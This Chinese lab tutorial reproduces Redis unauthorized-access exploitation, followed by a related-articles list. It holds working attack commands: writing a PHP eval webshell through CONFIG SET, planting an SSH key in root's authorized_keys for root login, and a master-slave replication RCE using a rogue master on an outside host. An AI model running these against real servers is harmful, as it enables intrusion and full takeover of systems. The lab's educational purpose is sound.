redis环境搭建


下载有漏洞的redis版本

wget http://download.redis.io/releases/redis-3.2.11.tar.gz



编译文件

make



进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf到etc目录

cp redis-server /usr/bin/

cp redis-cli /usr/bin/

cp redis.conf /etc/



编辑/etc/redis.conf文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务



使用redis-server /etc/redis.conf启动redis服务



攻击机直接下载redis拷贝文件即可

漏洞利用


使用namp检测远程主机redis开放情况

nmap -A -p 6379 --script redis-info 94.191.84.130



直接尝试登录redis

redis-cli -h 94.191.84.130

使用info查看信息



低权限写文件(需要有增删改查权限)

设置备份目录

CONFIG SET dir /tmp

设置文件名

CONFIG SET dbfilename webshell.php

向备份文件中写入一句话

CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

保存

save



利用"公私钥"认证获取root权限,ssh免密登陆目标服务器


  1. 生成公私钥并导出公钥为txt格式
  2. 写入公钥到redis
  3. 连接目标redis服务
  4. 设置备份目录为SSH公钥存放路径/root/.ssh
  5. 设置备份文件名
  6. 保存备份(写入公钥)
  7. 免密ssh登陆

生成公私钥

ssh-keygen -t rsa



导出公钥为txt格式

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt



写入redis缓存

cat 1.txt | redis-cli -h 94.191.84.130 -x set crack



连接redis查看并设置备份目录

redis-cli -h 94.191.84.130

CONFIG GET dir

CONFIG SET dir /root/.ssh



设置备份文件名并保存备份文件

CONFIG set dbfilename authorized_keys

save



使用私钥免密登陆ssh

ssh -i id_rsa root@94.191.84.130

Redis 基于主从复制的 RCE 利用方式


1 . 连接远程未授权redis服务器

2 .设置主服务器为自己服务器

3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上

4.然后在从机上加载so文件

5.直接执行恶意命令

先本地开启一个redis>4.0的版本,然后执行

python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so

redis未授权访问简单总结的更多相关文章

  1. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  2. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  3. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

  4. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  5. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  6. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

  7. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  8. 基于Redis未授权访问的挖矿蠕虫分析

    0x01 攻击方式 利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏. 通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵.脚本里有个python函数. imp ...

  9. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

随机推荐

  1. 技术周刊 · Lighthouse 测试报告生成

    登高远眺 天高地迥,觉宇宙之无穷 基础技术 Lighthouse 测试内幕 文章分享了网易云音乐前端性能监控平台使用 Lighthouse 的实践经验,介绍了 Lighthouse 的测试流程.内部模 ...

  2. cc28c_demo.cpp,派生类的构造函数和析构函数-代码示范3

    cc28c_demo.cpp,派生类的构造函数和析构函数-代码示范3 //派生类的构造函数和析构函数//派生类的构造函数(执行步骤)//--执行基类的构造函数//--执行成员对象的构造函数//--执行 ...

  3. vc++如何知道cppdlg所关联的对话框?

    vc++ 6.0如何知道cppdlg所关联的对话框? 找a.cpp对应的a.h头文件里面找. https://blog.csdn.net/txwtech/article/details/1020824 ...

  4. JAVA设计模式 1 设计模式介绍、单例模式的理解与使用

    数据结构我们已经学了一部分了.是该了解了解设计模式了.习惯了CRUD的你,也该了解了解这一门神器.我为啥要说是神器呢? 因为在大厂的面试环节.以及很多的比如 Springboot Mybatis 等开 ...

  5. ViewPager2 学习

    ViewPager2 延迟加载数据 ViewPager2 延迟加载数据 ViewPager 实现预加载的方案 ViewPager2 实现预加载的方案 总结 ViewPager 实现预加载的方案 背景 ...

  6. 我们是如何做go语言系统测试覆盖率收集的?

    工程效能领域,测试覆盖率度量总是绕不开的话题,我们也不例外.在七牛云,我们主要使用go语言构建云服务,在考虑系统测试覆盖率时,最早也是通过围绕原生go test -c -cover的能力来构建.这个方 ...

  7. Unable to resolve dependency for ':app@debug/compileClasspath': Could not find any version that matc

    错误展示: 错误提示: Unable to resolve dependency for ':app@debug/compileClasspath': Could not find any versi ...

  8. windows RN 环境搭建(实测心得)

    首先安装官网的装好依赖   这里特别敲掉的是 jdk 必须要1.8的才行: 装了node 就不要 py了.   官网 其次安装 android studio 开发工具 把对应的都装好:     这里的 ...

  9. 10TB级日志的秒级搜索

  10. 测试同学动手搭个简易web开发项目

    技术栈 node.js, vue.js, axios, python, django, orm, restful api, djangorestframework, mysql, nginx, jen ...